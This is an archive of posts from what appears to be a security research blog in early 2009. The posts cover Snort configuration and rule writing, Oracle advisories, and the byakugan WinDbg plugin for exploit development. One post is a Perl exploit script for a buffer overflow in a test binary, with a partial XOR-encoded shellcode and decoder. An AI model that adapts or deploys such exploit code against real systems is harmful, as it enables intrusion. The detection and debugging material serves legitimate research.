Friday, January 30, 2009
I am staying with my parents who have been working in this country (which I will not name) for a few years. They have a 56K Internet connection, which is the most common connection for the very few how have the luxury to have access to the Internet. Since there is only one cellular phone operator in the country (state-owned, by the way) and that this operator does not offer data service, I cannot check my email with my 3G smart phone. Therefore, within days of being here, I sat in front of my parent's desktop computer and turned it on….
This computer is running Windows XP SP3. I was happily surprised since, I have to say, I was expecting it to be one or two service packs behind, my parents not being the most tech savvy people. However, what did not surprise me is the fact that many Microsoft patches, some dating as far back as October 2008 had not been installed. I checked the settings in the Security Center and Automatic Updates was turned on. Why was the computer not up-to-date?
Although Automatic Updates utilizes the Background Intelligent Transfer Service (BITS) in order to silently download the necessary files in the background, the very slow Internet connection (by today's standards) makes it difficult for the computer to keep up with the regular release of updates by software vendors.
Alright, the Internet connection is slow in this country. Yet, you might ask why my parents don't leave their computer connected for a long period of time (overnight for example) in order to download the security updates? Well, it's because there is only one ISP in the entire country and this ISP does not offer unlimited Internet for a fixed price. In fact, you pay for your connection by the minute! I also took a look at the state of the antivirus solution installed on my parent's machine. Last update: October 8, 2008. For someone like me who analyzes malware and researches vulnerabilities on a daily basis and knows how dangerous the Internet can be without proper security solutions, the poor shape of this computer from a security standpoint was just frightening.
I am certainly aware that software is much more complex today than it was a decade ago, which somewhat explains why files are in average larger now than they have ever been. On this trip, it occurred to me that software that requires access to the Internet seem to be designed with the assumption that the average user will have a broadband connection. While is true for most of America, Western Europe or South Korea, at the same time, in many rural areas in developed countries and in many emerging nations, a 56K connection like the one I am using to post this blog (Ed: or not) is usually what the average computer user has access to. The data on my computer is no less important because I have slow Internet connection than if I if I had a very fast connection. In order to protect my data and my system I need to be able to download security updates regularly and promptly.
In conclusion, I am calling for all of us in the field of computer security to keep this large segment of the world population in mind when we release rules, signatures or patches and to provide many very small incremental updates that can easily be downloaded by people with very slow Internet connections, like the updates provided by Snort and ClamAV.
Tuesday, January 27, 2009
Oracle Secure Backup Command Injection (CVE-2008-4006)
Oracle BPEL Injection (CVE-2008-4014)
Oracle Secure Backup Command Injection (CVE-2008-5440)
Oracle Secure Backup Buffer Overflow (CVE-2008-5444)
Oracle Secure Backup Command Injection (CVE-2008-5448)
Oracle Secure Backup Command Injection (CVE-2008-5449)
Oracle BEA WebLogic Denial of Service (CVE-2008-5457)
More details can be found here: http://www.snort.org/vrt/advisories/vrt-rules-2009-01-27.html
Tuesday, January 20, 2009
Security Fix - This module pack resolves a potential recursive evaluation DoS condition in SO rules that utilize the built-in content match API function. Sourcefire recommends installing this release as soon as possible if high latency is encountered when dealing with large SMB file transfers.
As a result of ongoing research, the Sourcefire VRT has added multiple rules to the web-activex, specific-threats, web-client and multimedia rule sets to provide coverage for emerging threats from these technologies.
A detailed advisory as well as a complete list of new and modified rules is available at:
Friday, January 16, 2009
!jutsu identBuf TYPE NAME [VALUE SIZE]
Depending on the TYPE, the rest of the command may have different parts. Lets examine the currently supported types:
The ascii type acts in the same way as you're used to. It requires a name, and a value which will be tracked, but no size. The string will be null terminated as normal.
!jutsu identBuf ascii myAsciiBuf CatImAKittyCatAndIDanceDanceDance
The msfpattern input type has been enhanced to allow for you to provide a custom name. It requires a name and a size, but no value. Future enhancements may involve multiple msfpatterns starting where the last left off in the pattern so as to not confuse multiple pattern buffers with one another. The format looks like this:
!jutsu identBuf msfpattern myMsfPattern 16
The file input type will suck in a file of any format and register it as a tracked buffer. It requires a name, and takes the file path as a value. It also requires a size to be input. Future enhancements may include ability to provide an offset into the file to start reading from. Let me know if you'd like to see this. Currently though, the format looks like:
!jutsu identBuf file myFileBuf C:\msf3\input.bin 64
Note that listing non-ascii buffers with
!jutsu listBufmay result in some funny output, but this wont break anything...
All binaries are updated with these new changes.
Thursday, January 15, 2009
To test (and explain) functionality, I threw together a simple program:
This code makes a simple MSF pattern, then corrupts a few random characters, and replaces all '6's with '1's.
If we then load this program in byakugan, and then register a buffer with
identBufwe can diff the registered buffer with the pattern in memory and see the changes:
!jutsu memDiff buf 64 msfPattern 0x0012fef0
The arguments to memDiff are
type size valueand
address. For now the only accepted type is buf. This will take the name provided as value and pull that buffer from the tracked list for diffing. The size is the number of bytes to diff, and the address is the beginning address of the diff.
In this case, the output will look something like this:
The differ will show actual and expected with changes in bold on the actual side. In addition to that, it will store "bad chars" as well as corrupted offsets. It uses a simple algorithm to decide which is which. If a byte is modified, but that same byte is seen later in the payload, the assumption is made that the corruption is offset based, however, if all of a given character are missing, that is assumed to be a bad character. Obviously this approach falls down without a sufficiently complex input, but it certainly helps at times. I'll be augmenting this shortly with a truncation check to clean up the output in cases where you just dont have the space.
New binaries are uploaded for XPSP2, Vista, and Win7. New inputs coming soon!
Wednesday, January 14, 2009
================== exploit.pl ==================
$decoder = "\x44\x8b\xec\x45\x45\x45\x45\xeb\x0f\x58\x80\x30\x90\x40\x81" .
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
$key = "\x90" x 121;
$endof_shellcode = "\x4f\x4c\x4c\x41";
$shellcode = $shellcode ^ $key;
$prefix = "A" x 37;
$postfix = "A " x 0x1326;
$abow5 = "c:/cygwin/home/Administrator/abow5/abow5.exe";
$param = "ABCD" x 256 . "\x7f";
$shell_param = $decoder . $shellcode . $endof_shellcode;
`echo $param | exec $abow5 1025$prefix '$shell_param' $postfix`;
Tuesday, January 13, 2009
Friday, January 9, 2009
Here is an example showing the pertinent configuration options in snort.conf along with the command line option required to generate the stub files. In some installations, the files may well reside in
/etc/, this example uses
/usr/local/etcas the location for the configuration files. (I like
man hieryou should read it sometime)
First set up some global variables:
var CONF_PATH /usr/local/etc/snort var LIB_PATH /usr/local/lib var SORULE_PATH $CONF_PATH/so_rules
Dynamic preprocessor and dynamic engine information:
dynamicpreprocessor directory $LIB_PATH/snort_dynamicpreprocessor dynamicengine $LIB_PATH/snort_dynamicengine/libsf_engine.so
Here is the configuration option that lists the location of the shared object files that snort is to use:
dynamicdetection directory $LIB_PATH/snort_dynamicrules
Dumping the rules
To dump the rule stub files into the required location the
--dump-dynamic-rulesoption is used like so:
snort -c /usr/local/etc/snort/snort.conf --dump-dynamic-rules=/usr/local/etc/snort/so_rules
This command tells snort to use the snort.conf file where it will find the dynamic rule files (thanks to the configuration options above) and then use those files to generate the stub files and put them into
After this is complete, the rule files appear in the directory.
# ls /usr/local/etc/snort/so_rules/ bad-traffic.rules imap.rules nntp.rules web-client.rules chat.rules misc.rules p2p.rules web-misc.rules dos.rules multimedia.rules smtp.rules exploit.rules netbios.rules sql.rules
Using the rules
At the end of the snort.conf file are the locations of the stub files that can now be used:
include $SORULE_PATH/bad-traffic.rules include $SORULE_PATH/chat.rules include $SORULE_PATH/dos.rules include $SORULE_PATH/exploit.rules include $SORULE_PATH/imap.rules include $SORULE_PATH/misc.rules include $SORULE_PATH/multimedia.rules include $SORULE_PATH/netbios.rules include $SORULE_PATH/nntp.rules include $SORULE_PATH/p2p.rules include $SORULE_PATH/smtp.rules include $SORULE_PATH/sql.rules include $SORULE_PATH/web-client.rules include $SORULE_PATH/web-misc.rules
Thursday, January 8, 2009
First of all, in order to write efficient rules, it is important to understand how the Snort detection engine handles Snort rules. Snort 2.0 introduced the fast pattern matcher, which accelerates the detection process. The basic idea is that the detection engine organizes rules with a two-level labeling system to select some rules out of all loaded rules for detection (please note that Snort loads all rules on startup). The top-level label is a protocol-port number pair and the second-level label is a content (or uricontent) match.
The second-level label is chosen using the principle of first and longest non-negative content match. In the example below, for instance, Rule 1's second-level label is “writing”.
alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:”Bad Search”; content:”writing”; content:”bad”; content:”pig”; content:”rules”; content:!”snort”; sid:1;)
As of version 2.8.3, Snort supports the “fast_pattern” content modifier so that you can choose which content match will be used as the second-level label (e.g. Rule 2's second level label is “pig” thanks to this modifier).
alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:”Bad Search”; content:”writing”; content:”bad”; content:”pig”; fast_pattern; content:”rules”; content:!”snort”; sid:2;)
Let me explain the two-level labeling system in an even simpler fashion. Snort has big boxes, labeled with a protocol-port number pair, and these big boxes contain many bins that are labeled with fast content matches as well as an unlabeled bin. When Snort launches, it puts rules into the labeled bins if the rules have at least one content match, otherwise they are put into the unlabeled bin. Then, Snort uses these labeled containers to choose which rules are to be used to examine network traffic.
For example, Snort has a box with the “http/80” label, and the box has bins with “bad”, “good”, “writing”, “erasing”, and “pig” labels, as well as an unlabeled bin. Figure 1 shows which rules are in the labeled (or unlabeled) bins.
[Figure 1: Labeled boxes with labeled bins]
****** [“http/80”] ****************
* “bad” bin: 12, 13, 14
* “good” bin: 10, 11
* “writing” bin: 1, 3
* “erasing” bin: 4, 8
* “pig” bin: 2
* unlabeled bin: 9, 15
If Alice searches for “writing bad pig rules” in a web browser, Snort will use the rules with sids 1, 2, 3, 9, 12, 13, 14, 15. Note that the rules in the unlabeled bin are always used, so it is important for a rule to have at least one content match to keep it out of the unlabeled bin. Also, it is more efficient for rules to have a long and specific fast pattern content match (second-level label) that is unlikely to be used often. For instance, rules in bin labeled “a” are much more likely to be used than those in a bin labeled “pneumonoultramicroscopicsilicovolcanoconiosis”.
After Snort chooses the rules to be used for detection, it parses those rules into option lists (as of Snort 2.8.2, Snort parses the rules into a tree structure to make detection even faster, but the principle of writing good rules remains the same). In the following example, Snort parses Rule 3 into Table 1.
alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:”Bad Result”; flow:to_client,established; flowbits:isset,bad_search; content:”bacon”; content:”|90 90 90 90 90|”; sid:3;)
[Table 1: Parsed Rule 3]
content:”|90 90 90 90 90|”
Snort goes through this option list in order, so it is a good idea to use less expensive checks such as dsize, flow and flowbits first to weed out mismatches and avoid further processing. After testing target traffic against this option list, the source/destination addresses and port numbers of a rule are checked.
Writing Snort rules is quite easy, but writing good Snort rules can be tricky. Try to keep these principles in mind, they will help with traffic processing.
Wednesday, January 7, 2009
First, we load calc.exe and do a simple operation which will give us a result. I'll just do 9999 + 1, which will of course give us a value of 10000 or 0x2710 in hex. With the value displayed in calc, we'll attach with windbg, load byakugan, and issue the first trackVal command:
0:002> !jutsu trackVal result 4 0x2710
[J] Creating new list of candidates for result.
[J] Discovered 115 possible candidate addresses for result
Let's disect the command:
- result is the unique name of the value we're tracking
- it's arbitrary, but we'll need to remember it for later
- 4 is the size of the primitive we're concerned with; it can be 4, 2, or 1
- 0x2710 is the hex value that we'd like to find
Once the command is issued, we're informed that the name is unrecognized so an initial sweep of process memory is occuring to find all the possible candidate addresses for our value. When this is finished, we're informed that there are 115 possibilities. Far too many.
Our next task is to continue the process and make a minor change to the value in question. We'll add 3 to it, for a value of 0x2713, then break again and reissue our command:
0:002> !jutsu trackVal result 4 0x2713
[J] Narrowing down candidate list for result from 115 candidates.
[J] Value result is stored at address 0x0014cc64
The command is the same as before, apart from the value. It is important that we use the same name, because this time around we will only be searching the previously discovered candidate addresses. Out of the 115 addresses, only one has our new value in it, and we are informed of this. Score. If more than one had the value, we could repeat this exercise until it's fully narrowed down.
To list what values you're tracking, their sizes, and what how many candidates they have, simply type:
0:001> !jutsu trackVal
[J] Currently tracking:
Name: result Size: 4 Candidates: 111
And to see what the candidates are, just add a name to that command, and no size or value:
0:001> !jutsu trackVal result
[J] Currently tracking 111 candidates for result:
This new tool is expecially useful for cracking software, and cheating at Fallout 3. You can find it, along with the rest of the byakugan windbg plugin in the external directory of the metasploit subversion tree. Check http://metasploit.com for more information. Happy hunting!
BONUS: There are now updated XPSP2 and Vista binaries in the svn tree!
Friday, January 2, 2009
You probably shouldn't take any other view of this vulnerability into consideration. Some amazing research and dedication went into proving this vulnerability is realistic and viable. You should note that detection of it is not really feasible; the bad certs look exactly like valid ones. The fact that a site you frequent doesn't currently use an MD5 summed cert is irrelevant. In my opinion, the best way to protect against this attack is to utilize a browser plugin which would store the cert for every site you visit and alert you when it's changed, much in the same way ssh does. If you're interested in knowing when you've been sent a cert that's MD5 summed, you can use this quick and dirty snort rule:
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"POLICY Weak SSL OCSP response -- MD5 usage"; content:"content-type: application/ocsp-response"; content:"2A 86 48 86 F7 0D 01 01 04"; metadata: policy security-ips drop, service http; reference: url, www.win.tue.nl/hashclash/rogue-ca/; classtype: policy-violation; sid:1000001;)
It wont actually traverse the ASN1 properly, but the Md5WithRsaEncryption ASN1 identifier is unique enough within the OCSP protocol that it shouldn't false on you. Note that this will only show you when you've gotten an MD5'd cert; the responsibility for deciding whether or not it's valid is on you. In my quick checking, none of the SSL sites I use for banking, searching, email, or even gaming used MD5'd certs, so if the rule goes off before you check your checking account, you may want to think twice.